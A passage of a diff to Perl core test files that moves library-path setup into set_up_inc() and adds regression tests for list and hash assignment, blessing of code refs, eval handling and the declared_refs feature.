- @INC = '../lib';
}
require q(./test.pl);
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/mro/package_aliases_utf8.t b/gnu/usr.bin/perl/t/mro/package_aliases_utf8.t
index 09db6b7c198..0fc762d2d5c 100644
--- a/gnu/usr.bin/perl/t/mro/package_aliases_utf8.t
+++ b/gnu/usr.bin/perl/t/mro/package_aliases_utf8.t
@@ -4,9 +4,9 @@ BEGIN {
$ENV{PERL_UNICODE} = 0;
unless (-d 'blib') {
chdir 't' if -d 't';
- @INC = '../lib';
}
require q(./test.pl);
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/mro/recursion_c3_utf8.t b/gnu/usr.bin/perl/t/mro/recursion_c3_utf8.t
index 3abc136f728..bac3a59caca 100644
--- a/gnu/usr.bin/perl/t/mro/recursion_c3_utf8.t
+++ b/gnu/usr.bin/perl/t/mro/recursion_c3_utf8.t
@@ -5,14 +5,13 @@ use warnings;
BEGIN {
unless (-d 'blib') {
chdir 't' if -d 't';
- @INC = '../lib';
}
+ require './test.pl';
+ set_up_inc('../lib');
}
use utf8;
use open qw( :utf8 :std );
-require './test.pl';
-
plan(skip_all => "Your system has no SIGALRM") if !exists $SIG{ALRM};
plan(tests => 8);
diff --git a/gnu/usr.bin/perl/t/mro/recursion_dfs_utf8.t b/gnu/usr.bin/perl/t/mro/recursion_dfs_utf8.t
index 6b428e1de3d..4ad427e64f5 100644
--- a/gnu/usr.bin/perl/t/mro/recursion_dfs_utf8.t
+++ b/gnu/usr.bin/perl/t/mro/recursion_dfs_utf8.t
@@ -5,14 +5,13 @@ use warnings;
BEGIN {
unless (-d 'blib') {
chdir 't' if -d 't';
- @INC = '../lib';
}
+ require './test.pl';
+ set_up_inc('../lib');
}
use utf8;
use open qw( :utf8 :std );
-require './test.pl';
-
plan(skip_all => "Your system has no SIGALRM") if !exists $SIG{ALRM};
plan(tests => 8);
diff --git a/gnu/usr.bin/perl/t/op/aassign.t b/gnu/usr.bin/perl/t/op/aassign.t
index f9493d9b46b..4e7aee7017e 100644
--- a/gnu/usr.bin/perl/t/op/aassign.t
+++ b/gnu/usr.bin/perl/t/op/aassign.t
@@ -15,8 +15,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib')
}
use warnings;
@@ -272,7 +272,7 @@ sub sh {
SKIP: {
use Config;
# debugging builds will detect this failure and panic
- skip "DEBUGGING build" if $::Config{ccflags} =~ /DEBUGGING/
+ skip "DEBUGGING build" if $::Config{ccflags} =~ /(?<!\S)-DDEBUGGING(?!\S)/
or $^O eq 'VMS' && $::Config{usedebugging_perl} eq 'Y';
local $::TODO = 'cheat and optimise my (....) = @_';
local @_ = 1..3;
@@ -303,6 +303,9 @@ SKIP: {
# (...) = (f())[0,0]
# the same TEMP RHS element may be used more than once, so when copying
# it, we mustn't steal its buffer.
+# DAPM 10/2016 - but in that case the SvTEMP flag is sometimes getting
+# cleared: using split() instead as a source of temps seems more reliable,
+# so I've added splut variants too.
{
# a string long enough for COW and buffer stealing to be enabled
@@ -311,28 +314,81 @@ SKIP: {
# a sub that is intended to return a TEMP string that isn't COW
# the concat returns a non-COW PADTMP; pp_leavesub sees a long
# stealable string, so creates a TEMP with the stolen buffer from the
- # PADTMP - hence it returns a non-COW string
+ # PADTMP - hence it returns a non-COW string. It also returns a couple
+ # of key strings for the hash tests
sub f18 {
my $x = "abc";
- $x . $long;
+ ($x . $long, "key1", "key2");
}
- my @a;
+ my (@a, %h);
# with @a initially empty,the code path creates a new copy of each
# RHS element to store in the array
@a = (f18())[0,0];
- is (substr($a[0], 0, 7), "abcdefx", 'NOSTEAL empty $a[0]');
- is (substr($a[1], 0, 7), "abcdefx", 'NOSTEAL empty $a[1]');
+ is (substr($a[0], 0, 7), "abcdefx", 'NOSTEAL f18 empty $a[0]');
+ is (substr($a[1], 0, 7), "abcdefx", 'NOSTEAL f18 empty $a[1]');
+ @a = (split /-/, "abc-def")[0,0];
+ is ($a[0], "abc", 'NOSTEAL split empty $a[0]');
+ is ($a[1], "abc", 'NOSTEAL split empty $a[1]');
# with @a initially non-empty, it takes a different code path that
# makes a mortal copy of each RHS element
@a = 1..3;
@a = (f18())[0,0];
- is (substr($a[0], 0, 7), "abcdefx", 'NOSTEAL non-empty $a[0]');
- is (substr($a[1], 0, 7), "abcdefx", 'NOSTEAL non-empty $a[1]');
+ is (substr($a[0], 0, 7), "abcdefx", 'NOSTEAL f18 non-empty $a[0]');
+ is (substr($a[1], 0, 7), "abcdefx", 'NOSTEAL f18 non-empty $a[1]');
+ @a = 1..3;
+ @a = (split /-/, "abc-def")[0,0];
+ is ($a[0], "abc", 'NOSTEAL split non-empty $a[0]');
+ is ($a[1], "abc", 'NOSTEAL split non-empty $a[1]');
+
+ # similarly with PADTMPs
+
+ @a = ();
+ @a = ($long . "x")[0,0];
+ is (substr($a[0], 0, 4), "defx", 'NOSTEAL PADTMP empty $a[0]');
+ is (substr($a[1], 0, 4), "defx", 'NOSTEAL PADTMP empty $a[1]');
+ @a = 1..3;
+ @a = ($long . "x")[0,0];
+ is (substr($a[0], 0, 4), "defx", 'NOSTEAL PADTMP non-empty $a[0]');
+ is (substr($a[1], 0, 4), "defx", 'NOSTEAL PADTMP non-empty $a[1]');
+
+ # as above, but assigning to a hash
+
+ %h = (f18())[1,0,2,0];
+ is (substr($h{key1}, 0, 7), "abcdefx", 'NOSTEAL f18 empty $h{key1}');
+ is (substr($h{key2}, 0, 7), "abcdefx", 'NOSTEAL f18 empty $h{key2}');
+ %h = (split /-/, "key1-val-key2")[0,1,2,1];
+ is ($h{key1}, "val", 'NOSTEAL split empty $h{key1}');
+ is ($h{key2}, "val", 'NOSTEAL split empty $h{key2}');
+
+ %h = qw(key1 foo key2 bar key3 baz);
+ %h = (f18())[1,0,2,0];
+ is (substr($h{key1}, 0, 7), "abcdefx", 'NOSTEAL f18 non-empty $h{key1}');
+ is (substr($h{key2}, 0, 7), "abcdefx", 'NOSTEAL f18 non-empty $h{key2}');
+ %h = qw(key1 foo key2 bar key3 baz);
+ %h = (split /-/, "key1-val-key2")[0,1,2,1];
+ is ($h{key1}, "val", 'NOSTEAL split non-empty $h{key1}');
+ is ($h{key2}, "val", 'NOSTEAL split non-empty $h{key2}');
+
+ %h = ();
+ %h = ($long . "x", "key1", "key2")[1,0,2,0];
+ is (substr($h{key1}, 0, 4), "defx", 'NOSTEAL PADTMP empty $h{key1}');
+ is (substr($h{key2}, 0, 4), "defx", 'NOSTEAL PADTMP empty $h{key2}');
+
+ %h = qw(key1 foo key2 bar key3 baz);
+ %h = ($long . "x", "key1", "key2")[1,0,2,0];
+ is (substr($h{key1}, 0, 4), "defx", 'NOSTEAL PADTMP non-empty $h{key1}');
+ is (substr($h{key2}, 0, 4), "defx", 'NOSTEAL PADTMP non-empty $h{key2}');
+
+ # both keys and values stealable
+ @a = (%h = (split /-/, "abc-def")[0,1,0,1]);
+ is (join(':', keys %h), "abc", "NOSTEAL split G_ARRAY keys");
+ is (join(':', values %h), "def", "NOSTEAL split G_ARRAY values");
+ is (join(':', @a), "abc:def", "NOSTEAL split G_ARRAY result");
}
{
@@ -395,4 +451,147 @@ SKIP: {
}
}
+{
+ # check that a second aggregate is empted but doesn't suck up
+ # anything random
+
+ my (@a, @b) = qw(x y);
+ is(+@a, 2, "double array A len");
+ is(+@b, 0, "double array B len");
+ is("@a", "x y", "double array A contents");
+
+ @a = 1..10;
+ @b = 100..200;
+ (@a, @b) = qw(x y);
+ is(+@a, 2, "double array non-empty A len");
+ is(+@b, 0, "double array non-empty B len");
+ is("@a", "x y", "double array non-empty A contents");
+
+ my (%a, %b) = qw(k1 v1 k2 v2);
+ is(+(keys %a), 2, "double hash A len");
+ is(+(keys %b), 0, "double hash B len");
+ is(join(' ', sort keys %a), "k1 k2", "double hash A keys");
+ is(join(' ', sort values %a), "v1 v2", "double hash A values");
+
+ %a = 1..10;
+ %b = 101..200;
+ (%a, %b) = qw(k1 v1 k2 v2);
+ is(+(keys %a), 2, "double hash non-empty A len");
+ is(+(keys %b), 0, "double hash non-empty B len");
+ is(join(' ', sort keys %a), "k1 k2", "double hash non-empty A keys");
+ is(join(' ', sort values %a), "v1 v2", "double hash non-empty A values");
+}
+
+# list and lval context: filling of missing elements, returning correct
+# lvalues.
+# ( Note that these partially duplicate some tests in hashassign.t which
+# I didn't spot at first - DAPM)
+
+{
+ my ($x, $y, $z);
+ my (@a, %h);
+
+ sub lval {
+ my $n = shift;
+ my $desc = shift;
+ is($x, $n >= 1 ? "assign1" : undef, "lval: X pre $n $desc");
+ is($y, $n >= 2 ? "assign2" : undef, "lval: Y pre $n $desc");
+ is($z, undef, "lval: Z pre $n $desc");
+
+ my $i = 0;
+ for (@_) {
+ $_ = "lval$i";
+ $i++;
+ }
+ is($x, "lval0", "lval: a post $n $desc");
+ is($y, "lval1", "lval: b post $n $desc");
+ is($z, "lval2", "lval: c post $n $desc");
+ }
+ lval(0, "XYZ", (($x,$y,$z) = ()));
+ lval(1, "XYZ", (($x,$y,$z) = (qw(assign1))));
+ lval(2, "XYZ", (($x,$y,$z) = (qw(assign1 assign2))));
+
+ lval(0, "XYZA", (($x,$y,$z,@a) = ()));
+ lval(1, "XYZA", (($x,$y,$z,@a) = (qw(assign1))));
+ lval(2, "XYZA", (($x,$y,$z,@a) = (qw(assign1 assign2))));
+
+ lval(0, "XYAZ", (($x,$y,@a,$z) = ()));
+ lval(1, "XYAZ", (($x,$y,@a,$z) = (qw(assign1))));
+ lval(2, "XYAZ", (($x,$y,@a,$z) = (qw(assign1 assign2))));
+
+ lval(0, "XYZH", (($x,$y,$z,%h) = ()));
+ lval(1, "XYZH", (($x,$y,$z,%h) = (qw(assign1))));
+ lval(2, "XYZH", (($x,$y,$z,%h) = (qw(assign1 assign2))));
+
+ lval(0, "XYHZ", (($x,$y,%h,$z) = ()));
+ lval(1, "XYHZ", (($x,$y,%h,$z) = (qw(assign1))));
+ lval(2, "XYHZ", (($x,$y,%h,$z) = (qw(assign1 assign2))));
+
+ # odd number of hash elements
+
+ {
+ no warnings 'misc';
+ @a = ((%h) = qw(X));
+ is (join(":", map $_ // "u", @a), "X:u", "lval odd singleton");
+ @a = (($x, $y, %h) = qw(X Y K));
+ is (join(":", map $_ // "u", @a), "X:Y:K:u", "lval odd");
+ @a = (($x, $y, %h, $z) = qw(X Y K));
+ is (join(":", map $_ // "u", @a), "X:Y:K:u:u", "lval odd with z");
+ }
+
+ # undef on LHS uses RHS as lvalue instead
+ # Note this this just codifies existing behaviour - it may not be
+ # correct. See http://nntp.perl.org/group/perl.perl5.porters/240358.
+
+ {
+ ($x, $y, $z) = (0, 10, 20);
+ $_++ for ((undef, $x) = ($y, $z));
+ is "$x:$y:$z", "21:11:20", "undef as lvalue";
+ }
+
+}
+
+{
+ # [perl #129991] assert failure in S_aassign_copy_common
+ # the LHS of a list assign can be aliased to an immortal SV;
+ # we used to assert that this couldn't happen
+ eval { ($_,$0)=(1,0) for 0 gt 0 };
+ like($@, qr//, "RT #129991");
+}
+
+{
+ # [perl #130132]
+ # lexical refs on LHS, dereffed on the RHS
+
+ my $fill;
+
+ my $sref = do { my $tmp = 2; \$tmp };
+ ($sref, $fill) = (1, $$sref);
+ is ($sref, 1, "RT #130132 scalar 1");
+ is ($fill, 2, "RT #130132 scalar 2");
+
+ my $x = 1;
+ $sref = \$x;
+ ($sref, $$sref) = (2, 3);
+ is ($sref, 2, "RT #130132 scalar derefffed 1");
+ is ($x, 3, "RT #130132 scalar derefffed 2");
+
+ $x = 1;
+ $sref = \$x;
+ ($sref, $$sref) = (2);
+ is ($sref, 2, "RT #130132 scalar undef 1");
+ is ($x, undef, "RT #130132 scalar undef 2");
+
+ my @a;
+ $sref = do { my $tmp = 2; \$tmp };
+ @a = (($sref) = (1, $$sref));
+ is ($sref, 1, "RT #130132 scalar list cxt 1");
+ is ($a[0], 1, "RT #130132 scalar list cxt a[0]");
+
+ my $aref = [ 1, 2 ];
+ ($aref, $fill) = @$aref;
+ is ($aref, 1, "RT #130132 array 1");
+ is ($fill, 2, "RT #130132 array 2");
+}
+
done_testing();
diff --git a/gnu/usr.bin/perl/t/op/anonconst.t b/gnu/usr.bin/perl/t/op/anonconst.t
index b281cc1b4fb..89a6acbabaf 100644
--- a/gnu/usr.bin/perl/t/op/anonconst.t
+++ b/gnu/usr.bin/perl/t/op/anonconst.t
@@ -3,7 +3,7 @@
BEGIN {
chdir 't';
require './test.pl';
- @INC = "../lib";
+ set_up_inc("../lib");
}
plan 8;
diff --git a/gnu/usr.bin/perl/t/op/attrhand.t b/gnu/usr.bin/perl/t/op/attrhand.t
index 996d5723751..13a23817e48 100644
--- a/gnu/usr.bin/perl/t/op/attrhand.t
+++ b/gnu/usr.bin/perl/t/op/attrhand.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
skip_all_if_miniperl("miniperl can't load attributes");
}
diff --git a/gnu/usr.bin/perl/t/op/bless.t b/gnu/usr.bin/perl/t/op/bless.t
index 69217fde9b1..628677b8f79 100644
--- a/gnu/usr.bin/perl/t/op/bless.t
+++ b/gnu/usr.bin/perl/t/op/bless.t
@@ -2,11 +2,11 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
-plan (114);
+plan (118);
# Please do not eliminate the plan. We have tests in DESTROY blocks.
sub expected {
@@ -178,3 +178,59 @@ undef *Food::;
is $w, undef,
'no warnings when reblessing inside DESTROY triggered by reblessing'
}
+
+TODO: {
+ my $ref;
+ sub new {
+ my ($class, $code) = @_;
+ my $ret = ref($code);
+ bless $code => $class;
+ return $ret;
+ }
+ for my $i (1 .. 2) {
+ $ref = main -> new (sub {$i});
+ }
+ is $ref, 'CODE', 'RT #3305: Code ref should not be blessed yet';
+
+ local $TODO = 'RT #3305';
+
+ for my $i (1 .. 2) {
+ $ref = main -> new (sub {});
+ }
+ is $ref, 'CODE', 'RT #3305: Code ref should not be blessed yet';
+}
+
+my $t_3306_c = 0;
+my $t_3306_s = 0;
+
+{
+ sub FooClosure::new {
+ my ($class, $code) = @_;
+ bless $code => $class;
+ }
+ sub FooClosure::DESTROY {
+ $t_3306_c++;
+ }
+
+ sub FooSub::new {
+ my ($class, $code) = @_;
+ bless $code => $class;
+ }
+ sub FooSub::DESTROY {
+ $t_3306_s++;
+ }
+
+ my $i = '';
+ FooClosure -> new (sub {$i});
+ FooSub -> new (sub {});
+}
+
+is $t_3306_c, 1, 'RT #3306: DESTROY should be called on CODE ref (works on closures)';
+
+TODO: {
+ local $TODO = 'RT #3306';
+ is $t_3306_s, 1, 'RT #3306: DESTROY should be called on CODE ref';
+}
+
+undef *FooClosure::;
+undef *FooSub::;
diff --git a/gnu/usr.bin/perl/t/op/catch.t b/gnu/usr.bin/perl/t/op/catch.t
new file mode 100644
index 00000000000..2ed6a16d9b6
--- /dev/null
+++ b/gnu/usr.bin/perl/t/op/catch.t
@@ -0,0 +1,50 @@
+#!perl
+
+BEGIN {
+ chdir 't' if -d 't';
+ require './test.pl';
+ set_up_inc('../lib');
+}
+
+use warnings;
+use strict;
+
+plan 12;
+
+{
+ package EvalOnFetch;
+ sub TIESCALAR { bless \(my $z = $_[1]), $_[0] }
+ sub FETCH { eval ${$_[0]} // "died" }
+}
+
+tie my $begindie, "EvalOnFetch", "BEGIN { die } 123";
+is "$begindie", "died";
+tie my $unitcheckdie, "EvalOnFetch", "UNITCHECK { die } 123";
+is "$unitcheckdie", "died";
+tie my $rundie, "EvalOnFetch", "die; 123";
+is "$rundie", "died";
+tie my $runok, "EvalOnFetch", "123";
+is "$runok", 123;
+
+eval { undef };
+is eval "BEGIN { die } 123", undef;
+is eval "UNITCHECK { die } 123", undef;
+is eval "die; 123", undef;
+is eval "123", 123;
+
+{
+ package TryOnFetch;
+ sub TIESCALAR { bless \(my $z = $_[1]), $_[0] }
+ sub FETCH { eval { ${$_[0]} ? die : undef; 123 } // "died" }
+}
+
+tie my $trydie, "TryOnFetch", 1;
+is "$trydie", "died";
+tie my $tryok, "TryOnFetch", 0;
+is "$tryok", 123;
+
+eval { undef };
+is do { eval { die; 123 } }, undef;
+is do { eval { undef; 123 } }, 123;
+
+1;
diff --git a/gnu/usr.bin/perl/t/op/const-optree.t b/gnu/usr.bin/perl/t/op/const-optree.t
index bd47064d442..4d897d247ef 100644
--- a/gnu/usr.bin/perl/t/op/const-optree.t
+++ b/gnu/usr.bin/perl/t/op/const-optree.t
@@ -6,7 +6,7 @@
BEGIN {
chdir 't';
require './test.pl';
- @INC = '../lib';
+ set_up_inc('../lib');
}
plan 168;
@@ -432,7 +432,8 @@ for \%_ (@tests) {
if (exists $_{deprecated}) {
if ($_{deprecated}) {
like $w, qr/^Constants from lexical variables potentially (?x:
- )modified elsewhere are deprecated at /,
+ )modified elsewhere are deprecated\. This will (?x:
+ )not be allowed in Perl 5\.32 at /,
"$nickname is deprecated";
}
else {
diff --git a/gnu/usr.bin/perl/t/op/decl-refs.t b/gnu/usr.bin/perl/t/op/decl-refs.t
new file mode 100644
index 00000000000..80e6b7fbcae
--- /dev/null
+++ b/gnu/usr.bin/perl/t/op/decl-refs.t
@@ -0,0 +1,122 @@
+BEGIN {
+ chdir 't';
+ require './test.pl';
+ set_up_inc('../lib');
+}
+
+plan 402;
+
+for my $decl (qw< my CORE::state our local >) {
+ for my $funny (qw< $ @ % >) {
+ # Test three syntaxes with each declarator/funny char combination:
+ # my \$foo my(\$foo) my\($foo) for my \$foo
+
+ for my $code("$decl \\${funny}x", "$decl\(\\${funny}x\)",
+ "$decl\\\(${funny}x\)",
+ "for $decl \\${funny}x (\\${funny}y) {}") {
+ SKIP: {
+ skip "for local is illegal", 3 if $code =~ /^for local/;
+ eval $code;
+ like
+ $@,
+ qr/^The experimental declared_refs feature is not enabled/,
+ "$code error when feature is disabled";
+
+ use feature 'declared_refs';
+
+ my($w,$c);
+ local $SIG{__WARN__} = sub { $c++; $w = shift };
+ eval $code;
+ is $c, 1, "one warning from $code";
+ like $w, qr/^Declaring references is experimental at /,
+ "experimental warning for $code";
+ }
+ }
+ }
+}
+
+use feature 'declared_refs', 'state';
+no warnings 'experimental::declared_refs';
+
+for $decl ('my', 'state', 'our', 'local') {
+for $sigl ('$', '@', '%') {
+ # The weird code that follows uses ~ as a sigil placeholder and MY
+ # as a declarator placeholder.
+ my $code = '#line ' . (__LINE__+1) . ' ' . __FILE__ . "\n" . <<'END';
+ my $ret = MY \~a;
+ is $ret, \~a, 'MY \$a returns ref to $a';
+ isnt $ret, \~::a, 'MY \$a ret val is not pkg var';
+ my @ret = MY \(~b, ~c);
+ is "@ret", \~b." ".\~c, 'MY \(~b, ~c) returns correct refs';
+ isnt $ret[0], \~::b, 'first retval of MY \(~b, ~c) is not pkg var';
+ isnt $ret[1], \~::c, '2nd retval of MY \(~b, ~c) is not pkg var';
+ @ret = MY (\(~d, ~e));
+ is "@ret", \~d." ".\~e, 'MY (\(~d, ~e)) returns correct refs';
+ isnt $ret[0], \~::d, 'first retval of MY (\(~d, ~e)) is not pkg var';
+ isnt $ret[1], \~::e, '2nd retval of MY (\(~d, ~e)) is not pkg var';
+ @ret = \MY (\~f, ~g);
+ is ${$ret[0]}, \~f, 'first retval of MY (\~f, ~g) is \~f';
+ isnt ${$ret[0]}, \~::f, 'first retval of MY (\~f, ~g) is not \~::f';
+ is $ret[1], \~g, '2nd retval of MY (\~f, ~g) is ~g';
+ isnt $ret[1], \~::g, '2nd retval of MY (\~f, ~g) is not ~::g';
+ *MODIFY_SCALAR_ATTRIBUTES = sub {
+ is @_, 3, 'MY \~h : risible calls handler with right no. of args';
+ is $_[2], 'risible', 'correct attr passed by MY \~h : risible';
+ return;
+ };
+ SKIP : {
+ unless ('MY' eq 'local') {
+ skip_if_miniperl "No attributes on miniperl", 2;
+ eval 'MY \~h : risible' or die $@ unless 'MY' eq 'local';
+ }
+ }
+ eval 'MY \~a ** 1';
+ like $@,
+ qr/^Can't (?:declare|modify) exponentiation \(\*\*\) in "?MY"? at/,
+ 'comp error for MY \~a ** 1';
+ $ret = MY \\~i;
+ is $$ret, \~i, 'retval of MY \\~i is ref to ref to ~i';
+ $ret = MY \\~i;
+ isnt $$ret, \~::i, 'retval of MY \\~i is ref to ref to ~::i';
+ $ret = MY (\\~i);
+ is $$ret, \~i, 'retval of MY (\\~i) is ref to ref to ~i';
+ $ret = MY (\\~i);
+ isnt $$ret, \~::i, 'retval of MY (\\~i) is ref to ref to ~::i';
+ *MODIFY_SCALAR_ATTRIBUTES = sub {
+ is @_, 3, 'MY (\~h) : bumpy calls handler with right no. of args';
+ is $_[2], 'bumpy', 'correct attr passed by MY (\~h) : bumpy';
+ return;
+ };
+ SKIP : {
+ unless ('MY' eq 'local') {
+ skip_if_miniperl "No attributes on miniperl", 2;
+ eval 'MY (\~h) : bumpy' or die $@;
+ }
+ }
+ 1;
+END
+ $code =~ s/MY/$decl/g;
+ $code =~ s/~/$sigl/g;
+ $code =~ s/MODIFY_\KSCALAR/$sigl eq '@' ? "ARRAY" : "HASH"/eggnog
+ if $sigl ne '$';
+ if ($decl =~ /^(?:our|local)\z/) {
+ $code =~ s/is ?no?t/is/g; # tests for package vars
+ }
+ eval $code or die $@;
+}}
+
+use feature 'refaliasing'; no warnings "experimental::refaliasing";
+for $decl ('my', 'state', 'our') {
+for $sigl ('$', '@', '%') {
+ my $code = '#line ' . (__LINE__+1) . ' ' . __FILE__ . "\n" . <<'ENE';
+ for MY \~x (\~::y) {
+ is \~x, \~::y, '\~x aliased by for MY \~x';
+ isnt \~x, \~::x, '\~x is not equivalent to \~::x';
+ }
+ 1;
+ENE
+ $code =~ s/MY/$decl/g;
+ $code =~ s/~/$sigl/g;
+ $code =~ s/is ?no?t/is/g if $decl eq 'our';
+ eval $code or die $@;
+}}
diff --git a/gnu/usr.bin/perl/t/op/die_exit.t b/gnu/usr.bin/perl/t/op/die_exit.t
index bd9ac285989..e074913e86d 100644
--- a/gnu/usr.bin/perl/t/op/die_exit.t
+++ b/gnu/usr.bin/perl/t/op/die_exit.t
@@ -7,8 +7,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/op/dump.t b/gnu/usr.bin/perl/t/op/dump.t
index 7c5c3af8980..2edba2035cf 100644
--- a/gnu/usr.bin/perl/t/op/dump.t
+++ b/gnu/usr.bin/perl/t/op/dump.t
@@ -4,9 +4,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = qw(. ../lib);
require './test.pl';
-
+ set_up_inc( qw(. ../lib) );
skip_all_if_miniperl();
}
@@ -24,7 +23,7 @@ skip_all("only tested on devel builds")
# fork() and waitpid().
skip_all("no point in dumping on $^O")
- unless $^O =~ /^(linux|.*bsd|solaris)$/;
+ unless $^O =~ /^(linux|.*bsd|solaris|darwin)$/;
skip_all("avoid coredump under ASan")
if $Config{ccflags} =~ /-fsanitize=/;
@@ -64,7 +63,13 @@ plan(2);
# By do the dump in a child, the parent perl process exits back to sh with
# a normal exit value, so sh won't complain.
+# An unqualified dump() will give a deprecation warning. Usually, we'd
+# do a "no warnings 'deprecated'" to shut this off, but since we have
+# chdirred to /tmp, a 'no' won't find the pragma. Hence the fiddling with
+# $SIG{__WARN__}.
+
fresh_perl_like(<<'PROG', qr/\AA(?!B\z)/, {}, "plain dump quits");
+BEGIN {$SIG {__WARN__} = sub {1;}}
++$|;
my $pid = fork;
die "fork: $!\n" unless defined $pid;
@@ -81,6 +86,7 @@ else {
PROG
fresh_perl_like(<<'PROG', qr/A(?!B\z)/, {}, "dump with label quits");
+BEGIN {$SIG {__WARN__} = sub {1;}}
++$|;
my $pid = fork;
die "fork: $!\n" unless defined $pid;
diff --git a/gnu/usr.bin/perl/t/op/exists_sub.t b/gnu/usr.bin/perl/t/op/exists_sub.t
index a08e0f5422d..9785fa32155 100644
--- a/gnu/usr.bin/perl/t/op/exists_sub.t
+++ b/gnu/usr.bin/perl/t/op/exists_sub.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
sub t1;
diff --git a/gnu/usr.bin/perl/t/op/filehandle.t b/gnu/usr.bin/perl/t/op/filehandle.t
index a7621db59aa..5ccdf5ecf6a 100755
--- a/gnu/usr.bin/perl/t/op/filehandle.t
+++ b/gnu/usr.bin/perl/t/op/filehandle.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
skip_all_if_miniperl("no dynamic loading on miniperl, no IO, hence no FileHandle");
}
diff --git a/gnu/usr.bin/perl/t/op/filetest_stack_ok.t b/gnu/usr.bin/perl/t/op/filetest_stack_ok.t
index 4128612d6cd..36da2c8725e 100644
--- a/gnu/usr.bin/perl/t/op/filetest_stack_ok.t
+++ b/gnu/usr.bin/perl/t/op/filetest_stack_ok.t
@@ -6,13 +6,13 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
my @ops = split //, 'rwxoRWXOezsfdlpSbctugkTMBAC';
-plan( tests => @ops * 5 );
+plan( tests => @ops * 5 + 1 );
package o { use overload '-X' => sub { 1 } }
my $o = bless [], 'o';
@@ -47,3 +47,9 @@ for my $op (@ops) {
my @foo = eval "-$op \$o";
is @foo, 1, "-$op \$overld did not leave \$overld on the stack";
}
+
+{
+ # [perl #129347] cope with stacked filetests where PL_op->op_next is null
+ () = sort { -d -d } \*TEST0, \*TEST1;
+ ok 1, "survived stacked filetests with null op_next";
+}
diff --git a/gnu/usr.bin/perl/t/op/filetest_t.t b/gnu/usr.bin/perl/t/op/filetest_t.t
index eec67ec8677..a7819eaeb41 100755
--- a/gnu/usr.bin/perl/t/op/filetest_t.t
+++ b/gnu/usr.bin/perl/t/op/filetest_t.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/op/fresh_perl_utf8.t b/gnu/usr.bin/perl/t/op/fresh_perl_utf8.t
index fcf48e76222..b540a802eb5 100644
--- a/gnu/usr.bin/perl/t/op/fresh_perl_utf8.t
+++ b/gnu/usr.bin/perl/t/op/fresh_perl_utf8.t
@@ -4,8 +4,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
plan 1;
diff --git a/gnu/usr.bin/perl/t/op/getpid.t b/gnu/usr.bin/perl/t/op/getpid.t
index cc3085ae519..109edd2882e 100644
--- a/gnu/usr.bin/perl/t/op/getpid.t
+++ b/gnu/usr.bin/perl/t/op/getpid.t
@@ -4,16 +4,18 @@
BEGIN {
chdir 't' if -d 't';
- @INC = qw(../lib);
require './test.pl';
+ set_up_inc( qw(../lib) );
+ skip_all_if_miniperl(
+ "no dynamic loading on miniperl, no threads/attributes"
+ );
}
use strict;
use Config;
-BEGIN {
+{
skip_all_without_config(qw(useithreads d_getppid));
- skip_all_if_miniperl("no dynamic loading on miniperl, no threads");
eval 'use threads; use threads::shared';
plan tests => 3;
if ($@) {
diff --git a/gnu/usr.bin/perl/t/op/grent.t b/gnu/usr.bin/perl/t/op/grent.t
index 3b28619605e..8fc8c7c8fa7 100644
--- a/gnu/usr.bin/perl/t/op/grent.t
+++ b/gnu/usr.bin/perl/t/op/grent.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
eval {my @n = getgrgid 0};
diff --git a/gnu/usr.bin/perl/t/op/hashassign.t b/gnu/usr.bin/perl/t/op/hashassign.t
index 57a625cb2e4..a4570684429 100644
--- a/gnu/usr.bin/perl/t/op/hashassign.t
+++ b/gnu/usr.bin/perl/t/op/hashassign.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
# use strict;
@@ -376,8 +376,7 @@ SKIP: {
'hash+scalar assignment in scalar context' );
ok( eq_hash( \%h, {1 => 2, 3 => 4} ), "correct hash" );
is( $x, undef, "correct scalar" );
- # this arguable, but this is how it works
- is( join(':', (%h,$x) = (1,2,3,4)), '1:2:3:4',
+ is( join(':', map $_ // 'undef', ((%h,$x) = (1,2,3,4))), '1:2:3:4:undef',
'hash+scalar assignment in list context' );
ok( eq_hash( \%h, {1 => 2, 3 => 4} ), "correct hash" );
is( $x, undef, "correct scalar" );
@@ -410,8 +409,7 @@ SKIP: {
'hash+scalar assignment in scalar context' );
ok( eq_hash( \%h, {1 => 4} ), "correct hash" );
is( $x, undef, "correct scalar" );
- # this arguable, but this is how it works
- is( join(':', (%h,$x) = (1,2,1,4)), '1:4',
+ is( join(':', map $_ // 'undef', ((%h,$x) = (1,2,1,4))), '1:4:undef',
'hash+scalar assignment in list context' );
ok( eq_hash( \%h, {1 => 4} ), "correct hash" );
is( $x, undef, "correct scalar" );
@@ -445,8 +443,7 @@ SKIP: {
'hash+scalar assignment in scalar context' );
ok( eq_hash( \%h, {1 => undef, 3 => 4} ), "correct hash" );
is( $x, undef, "correct scalar" );
- # this arguable, but this is how it works
- is( join(':', map $_//'undef', (%h,$x) = (1,2,3,4,1)), '1:undef:3:4',
+ is( join(':', map $_//'undef', (%h,$x) = (1,2,3,4,1)), '1:undef:3:4:undef',
'hash+scalar assignment in list context' );
